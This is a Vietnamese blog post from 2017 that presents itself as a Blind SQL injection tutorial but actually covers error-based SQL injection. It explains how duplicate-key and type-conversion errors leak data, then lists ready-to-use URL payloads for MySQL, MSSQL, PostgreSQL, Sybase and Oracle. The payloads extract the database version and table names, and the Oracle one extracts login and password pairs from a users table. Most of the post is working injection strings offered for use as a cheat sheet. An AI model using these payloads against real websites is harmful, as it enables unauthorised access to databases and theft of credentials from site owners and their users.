Thứ Tư, 7 tháng 6, 2017

Khai thác lỗi Blind SQL

Khai thác lỗi Blind SQL


Phương pháp thực chất là phương pháp set khóa chính có cấu trúc và tên gọi giống nhau lặp lại 2 lần
VD:
tương tự như
Primarykey(‘id‘,’id‘)
Trong hệ quản trị CSDL ,ta không thể add 1 lúc 2 khóa chính giống nhau => Trùng
Và lúc này lợi dùng chức năng thông báo lỗi của các hệ quản trị CSDL để xuất ra thông tin ta cần tìm.
Các bạn có thể test ngay trên phpmyadmin ^_^ (MYSQL)
Code:
mysql> select 1,2 union select count(*),concat(version(),
floor(rand(0)*2))x from information_schema.tables group by x;
Sẽ trả về thông báo
ERROR 1062 (23000): Duplicate entry ‘5.0.841’ for key 1<= bi trùng khóa ‘5.0.841‘ ,đây là thông tin mà ta cần lấy.
Tương tự
Code:
mysql> select 1 and (select 1 from(select count(*),
concat(version(),floor(rand(0)*2))x information_schema.tables 
group by x)a);

ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1
Ví dụ:
Code:
http://server/?id=(1)and(select+1+from(select+count(*),
concat((select+table_name+from+information_schema.tables+
limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+
group+by+x)a)--
Với phương pháp này ta cũng áp dụng được trên MSSQL
qua phương pháp ‘convert(int,xyz);’
vd:
Code:
http://server/?id=(1)and(1)=(convert(int,(select+table_name+
from(select+row_number()+over+(order+by+table_name)+as+rownum,
table_name+from+information_schema.tables)+as+t+where+
t.rownum=1)))--
Đối với PostgreSQL thì hơi khác 1 chút.
vd:
Code:
http://server/?id=(1)and(1)=cast((select+table_name+from+
information_schema.tables+limit+1+offset+0)+as+numeric)--
Đối với Oracle
vd:
Code:
http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||
chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)
||password)from(select+login,password,rownum+
rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--
Tổng kết lại ta có các phương thức ^_^.
PostgreSQL:
Code:
 /?param=1 and(1)=cast(version() as numeric)--
MSSQL:
Code:
 /?param=1 and(1)=convert(int,@@version)--
Sybase:
Code:
/?param=1 and(1)=convert(int,@@version)--
MySQL>=4.1<5.0:
Code:
/?param=(1)and(select 1 from(select count(*),
concat(version(),floor(rand(0)*2))x 
from TABLE_NAME group by x)a)--
Hoặc
Code:
/?param=1 and row(1,1)>(select count(*),
concat(version(),0x3a,floor(rand()*2))x 
from (select 1 union select 2)a group by x
 limit 1)--
MySQL>=5.0:
Code:
 /?param=(1)and(select 1 from(select count(*),
concat(version(),floor(rand(0)*2))x 
from information_schema.tables group by x)a)--

ST

Không có nhận xét nào:

Đăng nhận xét